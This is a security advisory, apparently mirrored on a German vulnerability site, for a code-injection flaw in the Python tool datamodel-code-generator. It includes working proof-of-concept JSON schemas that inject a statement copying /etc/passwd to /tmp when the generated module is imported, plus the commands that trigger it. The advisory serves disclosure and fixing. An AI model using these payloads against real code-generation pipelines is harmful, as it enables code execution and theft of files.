Hoch

datamodel-code-generator vulnerable to code injection via `x-python-import` / `customTypePath` in generated import statements

  • Veröffentlicht: 28.07.2026
  • Aktualisiert: 11.10.2026 15:17

Summary

A malicious input schema (OpenAPI / JSON Schema) can execute arbitrary Python code on the machine that imports the generated model. The x-python-import and customTypePath schema extensions flow, unsanitized, into the import statements datamodel-code-generator emits. A newline embedded in the extension value breaks out of the from … import … line and injects an attacker-controlled statement at module scope, which runs at import time. This is an unauthenticated, schema-content–driven remote code execution against any consumer of the generated code (e.g. arbitrary file read,the PoC exfiltrates /etc/passwd). It survives the v0.61.0 security release that fixed the related x-python-type, default_factory, GraphQL-union-description, and validators sinks those fixes did not cover this sibling path.

Details

The sink is Import.from_full_path and Imports.create_line:

  • src/datamodel_code_generator/imports.py:35 — from_full_path() only does class_path.split(".") and preserves every other character, including newlines:
    python
    @classmethod
    @lru_cache
    def from_full_path(cls, class_path: str) -> Import:
        split_class_path: list[str] = class_path.split(".")
        return cls(import_=split_class_path[-1], from_=".".join(split_class_path[:-1]) or None)
  • src/datamodel_code_generator/imports.py:64 — create_line() renders the result verbatim:
    python
    def create_line(self, from_: str | None, imports: set[str]) -> str:
        if from_:
            return f"from {from_} import {', '.join(self._set_alias(from_, imports))}"
        return "\n".join(f"import {i}" for i in self._set_alias(from_, imports))

There is no check that the path segments are Python identifiers, contrast validators._validate_dotted_python_identifier_path, which the same v0.61.0 release added for the validators config, and types.is_python_type_annotation, added for x-python-type. The two extensions below were left unguarded.

Two schema-controlled, default-config entry points reach this sink:

  1. x-python-import — src/datamodel_code_generator/parser/jsonschema.py:1851-1858 (get_ref_data_type):
    python
    x_python_import = ref_schema.extras.get("x-python-import")
    if isinstance(x_python_import, dict):
        module = x_python_import.get("module")
        type_name = x_python_import.get("name")
        if module and type_name:
            full_path = f"{module}.{type_name}"
            import_ = Import.from_full_path(full_path)
            self.imports.append(import_)
  2. customTypePath — declared at src/datamodel_code_generator/parser/jsonschema.py:438, consumed at :4118 and :4365 via get_data_type_from_full_path(custom_type_path, is_custom_type=True) → the same Import.from_full_path sink.

Mechanism. With name = "getcwd\nprint(...)", full_path = "os.getcwd\nprint(...)". from_full_path splits only on ., so (provided the injected statement contains no .) it yields from_="os" and import_="getcwd\nprint(...)". create_line then emits:

python
from os import getcwd
print(...)        # ← attacker statement at module scope, executes on import

The dot-split is the only constraint on the payload; it is trivially satisfied with attribute-free builtins (e.g. print(*open('/etc/passwd'), file=open('/tmp/loot','w'), sep='', end='') reads and exfiltrates a file using no .).

None of the six v0.61.0 fix commits (aec47bc4, b73abb5c, 17fc235e, 2c93c9b7, a43d0290, 5fdba4a0) touched x-python-import, customTypePath, or imports.py; imports.py was last modified ~5 months before the release. This is therefore an incomplete fix: the maintainer hardened sibling schema-controlled type/extension sinks but missed these two paths into the same import-generation code.

PoC

Self contained POC available here: https://gist.github.com/thegr1ffyn/c3abb41bb89c164daa0d5f2c60b5328b

Default invocation, no special flags, on the patched release (commit 227ffe85ee2dcfc79336fbb14ad64c02a166b65a, v0.61.0).

payload_a.json:

js
{
  "type": "object",
  "title": "Root",
  "required": ["f"],
  "properties": { "f": { "$ref": "#/$defs/Evil" } },
  "$defs": {
    "Evil": {
      "type": "object",
      "x-python-import": {
        "module": "os",
        "name": "getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_xpi_loot','w'),sep='',end='')"
      }
    }
  }
}

Generate and import:

bash
datamodel-codegen --input payload_a.json --input-file-type jsonschema --output model.py
python -c "import model"

Generated model.py (verbatim, the breakout sits at module scope):

python
from __future__ import annotations

from os import getcwd

print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')
from os import getcwd

print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')
from pydantic import BaseModel
...

Importing model reads /etc/passwd and writes an exact copy to /tmp/dmcg_xpi_loot:

bash
$ head -1 /tmp/dmcg_xpi_loot
root:x:0:0:root:/root:/bin/bash

Confirmed under both the default output (pydantic v1) and --output-model-type pydantic_v2.BaseModel. The customTypePath variant reproduces identically:

js
{ "type":"object","title":"Root","required":["f"],
  "properties":{ "f":{ "type":"object",
    "customTypePath":"os.getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_ctp_loot','w'),sep='',end='')" }}}

A benign control (x-python-import: {"module":"decimal","name":"Decimal"}) produces clean from decimal import Decimal and no execution. A complete self-contained validation harness, run.sh plus control.json, payload_a.json, payload_b.json, is included alongside this advisory (CONTROL clean + three payloads firing + verdict + cleanup).

Suggested fix. Validate every dotted segment of module, name, and customTypePath as a Python identifier before building the import (reuse validators._validate_dotted_python_identifier_path), and/or reject non-identifier paths centrally inside Import.from_full_path.

Impact

Arbitrary code execution at model-import time, driven by attacker-controlled schema content under the default configuration. Anyone who runs datamodel-code-generator on an untrusted or third-party schema, multi-tenant code-generation services, CI pipelines that ingest external specs, or a developer generating models from a public/vendor OpenAPI/JSON-Schema document, and then imports (or whose tooling imports) the generated module, executes the attacker's code with the importing process's privileges. The PoC demonstrates arbitrary local file read (/etc/passwd); the same primitive yields full RCE.

Maintainer status

Confirmed by maintainer review and regression tests. A private fix PR is open and should be merged before publishing this advisory: https://github.com/koxudaxi/datamodel-code-generator-ghsa-5578-w22f-pfx9/pull/1

Fix summary: validate x-python-import and customTypePath values as dotted Python identifier paths before using them in generated imports or type paths.

Release status: not fixed in 0.63.0; customTypePath was introduced in 0.11.6, so affected versions are >= 0.11.6, <= 0.63.0. This advisory should remain unpublished until the private PR is merged and a patched release is available.

Validation: uv run --group test --extra http pytest tests/main/jsonschema/test_main_jsonschema.py tests/parser/test_jsonschema.py passed locally; uv run --group fix ruff check src/datamodel_code_generator/parser/jsonschema.py tests/main/jsonschema/test_main_jsonschema.py passed.

Submitted by: Hamza Haroon (thegr1ffyn)

Betroffene Software

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PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) datamodel-code-generator >= 0.11.6, < 0.64.0 0.64.0

Verweise

CVSS-Wert 7.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Schwäche (CWE)
CWE-94, CWE-95
Plattform
Python (PyPI)
Paket
datamodel-code-generator
Veröffentlicht
28.07.2026
Aktualisiert
11.10.2026 15:17

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-3557 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-5578-w22f-pfx9 - CC BY 4.0

Schwachstellenhistorie: datamodel-code-generator

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  1. 2026: 13
Schweregrad:
  1. datamodel-code-generator vulnerable to code injection via `x-python-import` / `customTypePath` in generated import statements dieser Eintrag
    Hoch · 7.5 CVE-2026-55415 >= 0.11.6, < 0.64.0 0.64.0

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